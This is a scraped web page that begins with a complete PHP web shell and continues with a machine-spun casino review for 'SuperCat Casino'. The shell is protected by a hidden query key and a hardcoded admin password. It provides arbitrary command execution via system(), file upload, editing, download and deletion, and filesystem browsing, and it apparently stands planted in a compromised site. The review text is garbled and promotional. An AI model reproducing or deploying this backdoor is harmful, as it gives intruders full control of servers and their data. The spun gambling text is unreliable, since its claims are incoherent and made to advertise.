if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } They normally use strong encryption to keep your personal information safe from hackers, which is a necessity now – collectives.berlin

Your digital paradise.

They normally use strong encryption to keep your personal information safe from hackers, which is a necessity now

The protection options happy me personally when i checked deeper. I became ready to come across they simply take responsible betting positively, that have proper thinking-exclusion possibilities that actually work if you want all of them. This new verification grabbed from the a day, and the my coming withdrawals had instead extra checks.

Supercat Local casino provides a near eyes on which is worth to relax and play, that headings deserve its location. Supercat Casino rotates the fresh new harbors off leading studios to your a rolling base, giving professionals direct access to help you very first-manage titles once they clear this new considered. Play at your very own speed, acquaint yourself to the aspects, and you can assist a small very first approach improve where you put your currency. Classic Reels, Dolphins Pearl, Fruit Team 2 therefore the other people for every single bring had written get back-to-athlete rates you can examine before you can twist, so are there zero surprises in the small print.

That it gambling enterprise will not actually have a no deposit free potato chips bonus, check straight back soon since the bonuses are often changingbined through its real time chat that’s always happy to assist, you are never leftover hanging if you want advice

Such as, you might use only a number of percentage measures within casino since the a unique Zealand gamer. This means, there is particular choices for the SuperCat web site that you may not have the means to access due to your citizen country. SuperCat Casino encrypts all of the correspondence and you will studies towards the their web site having fun with the new large-peak cryptographic protocol TLS one.2 to save this info away from unauthorised professionals.

Minimal put around the all recognized payment actions was ?fifteen. This type of spins are distinctive from the first-deposit bundle and therefore are assigned to a specific label each the brand new effective promo terms. Service on SuperCat Casino operates round the clock, seven days per week across the live chat, email address, and you will phone.

SuperCat Gambling establishment displays obvious bonus balances by Bet777 Casino themselves. The very least deposit off �20 qualifies participants because of it campaign. Members gain immediate access so you’re able to incentives and online game. Members supply quick membership setup and you can a powerful greeting bonus structure.

As soon as I launched the live cam, I knew I became talking about benefits who in fact love fixing problems timely. We look at whether or not there is certainly live speak, email, and you may cell phone aids, plus 24/seven supply.

The typical payment price around the all the game consist from the 97%, that is a lot better than what I have seen during the a great many other on the web gambling enterprises

In the end, create in initial deposit on a single away from SuperCat’s many fee measures, starting from antique e-purses such Skrill and Neteller, so you’re able to cryptocurrencies instance Bitcoin. Next, be sure the current email address from the clicking the fresh new verification hook delivered to you – a vital step-in ensuring the protection and you will simple operation regarding the betting experience. Earliest, check in your information on their site, getting all vital information to help you safe your account. With such as a thorough listing of choices, it�s clear one SuperCat are dedicated to and come up with most of the player be including royalty.

The latest web site’s construction is simple and easy to look, that have a white records excellent the latest brilliantly colored ads regarding the �white mode�, and you may a black history inside �ebony function�. Starting from a beneficial ten-pound lowest put, members should never be corralled towards the large-limits obligations prior to he is able, and you will a max unmarried detachment away from 58,000 function the new ceiling is actually substantial enough to number whenever a good tutorial happens very well in reality. Reload bonuses try commission-matches also offers available on then dumps immediately after the acceptance package possess already been said, built to offer a going back tutorial after that. Instead of flood your bank account with the date you to definitely, Supercat releases 21 totally free spins every single day across the nine days – a drip-offer one has actually new vault door unlock longer than a single vast majority lose. Follow the link, do a different password, along with your supply are recovered – the entire techniques takes around a couple of times around regular mail delivery standards. Navigate to the Supercat Gambling enterprise homepage and rehearse the latest indication-when you look at the career towards the top of the fresh new web page – enter the email address and you can code your entered with, and you’re inside.

Inside part of the opinion, we are going to concentrate on the enjoyment aspects of SuperCat Gambling establishment. By the certainly stating the principles and requires to own bonuses, offers, and you can distributions, people tends to make advised choices and you will know very well what is anticipated of them. Put it to use to compare essential facts, however, confirm newest certification, payment availability and you may user terms in advance of joining or transferring.